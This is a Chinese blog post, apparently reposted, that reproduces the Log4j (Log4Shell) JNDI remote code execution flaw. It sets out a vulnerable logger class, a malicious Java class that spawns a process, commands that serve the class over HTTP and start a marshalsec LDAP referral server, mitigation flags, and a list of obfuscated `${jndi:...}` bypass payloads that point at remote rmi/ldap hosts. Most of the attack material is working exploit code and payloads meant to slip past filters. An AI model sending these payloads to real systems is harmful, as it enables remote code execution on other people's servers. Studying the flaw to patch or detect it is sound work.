标签:lower asdasd public jndi 复现 rce rmi log4j
声明:没研究过Java漏洞,有错误的地方一定要告诉我!!原理我也没有继续跟。
01 分析
师傅带着理了一遍,思路清晰了。
一句话总结就是:让引用了log4j的漏洞类,然后把${jndi:ldap://hackserver/xxxxxx}
当作参数传到log4j的log.error ,就会通过动态的远程加载我们精心构造的一个恶意类,恶意类编写想要执行的命令就可以达到命令执行的目的了。
黑盒测试无法识别到目标站点是否用了该框架,一般做法可能是在入参地方挨个提交payload,实战靠运气。
漏洞类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.core.Logger;
public class Main {
private static final Logger logger = (Logger) LogManager.getLogger(Main.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/xxxx}");
}
}
一个恶意类
public class Exploit {
public Exploit() {
try{
// 弹计算器
String[] commands = {"calc.exe"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
在恶意类编译后产生的class文件下启动http服务
python3 -m http.server 8100
使用marshalsec起一个LDAP服务,使得服务端可以远程加载我们的恶意类
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"
效果图
再贴个图
02 影响应用
可能的受影响应用包括但不限于如下:
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
flume
dubbo
Redis
logstash
kafka
...
03 修复方案:
(1)修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true
04 绕过
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
推个项目:https://github.com/GitlXl/fgzz burp插件实现了主动扫描
标签:lower,asdasd,public,jndi,复现,rce,rmi,log4j 来源: https://www.cnblogs.com/yol0/p/15692095.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。